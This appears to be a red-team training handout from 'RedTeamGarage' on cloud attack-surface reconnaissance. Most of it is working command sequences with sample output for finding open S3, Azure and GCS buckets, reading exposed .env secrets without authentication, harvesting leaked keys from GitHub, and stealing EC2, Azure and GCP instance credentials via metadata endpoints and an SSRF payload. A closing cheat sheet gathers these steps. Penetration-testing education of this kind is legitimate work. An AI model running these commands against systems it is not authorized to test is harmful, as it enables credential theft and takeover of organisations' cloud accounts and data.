



◆ OFFENSIVE SECURITY SERIES ◆

CLOUD RECON & ATTACK SURFACE

S3, Azure, GCP, DNS, GitHub & Metadata Endpoints

cloud_enum · S3Scanner · subfinder · TruffleHog · IMDSv1 · SSRF

cloud_enum

S3 Open

Azure Blob

GCS

GitHub Secrets

AWS IMDS

SSRF

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

CLOUD RECON & ATTACK SURFACE — S3, Azure, GCP, DNS, GitHub & Metadata Endpoints

01.	MULTI-CLOUD ASSET DISCOVERY
02.	S3 OPEN BUCKET + GITHUB SECRETS
03.	AWS METADATA — EC2 ROLE CREDENTIAL THEFT
04.	CLOUD RECON CHEAT SHEET



01 — ASSET DISCOVERY

cloud_enum Multi-Cloud

```
cloud_enum - Multi-Cloud Asset Discovery

# Enumerate cloud assets across AWS, Azure, GCP
(kali)-[~]
kali $ cloud_enum -k targetcorp -k target-corp -k targetcompany
## cloud_enum by initstring ##
## Starting enumeration ##

[+] FOUND: targetcorp.s3.amazonaws.com [S3 Bucket - OPEN]
[+] FOUND: targetcorp-backup.s3.amazonaws.com [S3 Bucket - OPEN]
[+] FOUND: targetcorp-dev.s3.amazonaws.com [S3 Bucket - LISTABLE]
[+] FOUND: targetcorp.blob.core.windows.net [Azure Blob Storage]
[+] FOUND: targetcorp-public.blob.core.windows.net [Azure Blob - PUBLIC]
[+] FOUND: storage.googleapis.com/targetcorp [GCS Bucket]

## Enumeration complete. Found 6 assets. ##
```

Figure: cloud_enum finds 3 S3 buckets (2 open), Azure blob public, and GCS bucket



02 — S3 + GITHUB

Open Bucket & Leaked Keys

```

S3 Open Bucket + GitHub Secret Discovery

# Check S3 bucket - list without credentials
(kali)-[~]
kali $ aws s3 ls s3://targetcorp-backup --no-sign-request
2024-01-08 14:55:12      2048 config/.env
2024-01-08 14:55:12      4096 keys/prod_rsa.pem
2024-01-07 09:00:00    98304 backups/webapp_db_20240107.sql.gz
2024-01-05 16:30:00     1024 scripts/deploy.sh

# Read the .env file without credentials
(kali)-[~]
kali $ aws s3 cp s3://targetcorp-backup/config/.env --no-sign-request
DB_HOST=prod-db.cluster.us-east-1.rds.amazonaws.com
DB_USER=webapp_admin
DB_PASS=Sup3rS3cr3tProd!
STRIPE_SECRET_KEY=sk_live_51Abc123XYZdef456GHIjkl789
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7ADMIN00
AWS_SECRET_ACCESS_KEY=AdminSec retKey123XYZabcDEFghiJKLmno

# Scan GitHub for exposed credentials
(kali)-[~]
kali $ trufflehog github --org targetcorp --only-verified
Found verified result
Detector Type: AWS
Raw result: AKIAIOSFODNN7EXAMPLE
Source Location: https://github.com/targetcorp/infrastructure/commit/abc123/config.yml#L14

```

Figure: S3 bucket world-readable — .env has DB creds and another AWS key; GitHub has leaked key too



03 — AWS METADATA

EC2 Role Theft via IMDSv1

```

AWS Metadata - EC2 Role Credential Theft

# AWS Metadata endpoint - from compromised instance or SSRF
(kali)-[~]
kali $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
webapp-ec2-role
(kali)-[~]
kali $ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-ec2-role
{
  "Code" : "Success",
  "LastUpdated" : "2024-01-15T09:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxrFiCYEXAMPLEKEY",
  "Token" : "AQoXnyc4lck4w...very-long-session-token..",
  "Expiration" : "2024-01-15T15:00:00Z"
}

# Use stolen EC2 role credentials
(kali)-[~]
kali $ AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY=wJalrXUtnFEM AWS_SESSION_TOKEN=AQoXnyc4 aws sts g
et-caller-identity
{"UserId":"AROAIOSFODNN7EXAMPLE:i-0abc123","Account":"123456789012","Arn":"arn:aws:sts::123456789012:assumed-r
ole/webapp-ec2-role/i-0abc123"}

```

Figure: IMDSv1 metadata returns EC2 role credentials — full AWS API access with stolen token



04 — CHEAT SHEET

Quick Reference

cloud_enum	<code>cloud_enum -k COMPANY -k COMPANY-corp (tests S3, Azure, GCS simultaneously)</code>
S3 check public	<code>aws s3 ls s3://BUCKET --no-sign-request</code>
S3 read file	<code>aws s3 cp s3://BUCKET/file.env - --no-sign-request</code>
S3Scanner	<code>s3scanner scan --bucket-file buckets.txt</code>
Azure blob check	<code>curl https://ACCOUNT.blob.core.windows.net/CONTAINER/</code>
GCS check	<code>gsutil ls gs://BUCKET/ 2>/dev/null OR curl https://storage.googleapis.com/BUCKET/</code>
Subdomain enum	<code>subfinder -d target.com -o subdomains.txt</code>
Dangling DNS	Check CNAME targets for unclaimed cloud resources
crt.sh enum	<code>curl "https://crt.sh/?q=%target.com&output=json" python3 -c "import json,sys;[print(x['name_value']) for x in json.load(sys.stdin)]"</code>
TruffleHog GitHub	<code>trufflehog github --org COMPANY --only-verified</code>
AWS IMDSv1 creds	<code>curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME</code>
Azure IMDS token	<code>curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"</code>
GCP IMDS token	<code>curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"</code>
SSRF to metadata	<code>POST {"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}</code>
Shodan search	<code>shodan search "org:Amazon port:9200" OR ssl.cert.subject.cn:*.target.com</code>
Elasticsearch check	<code>curl http://CLOUD_IP:9200/_cat/indices (200 = unauthenticated!)</code>
Docker API check	<code>curl http://CLOUD_IP:2375/v1.24/containers/json (200 = exposed!)</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.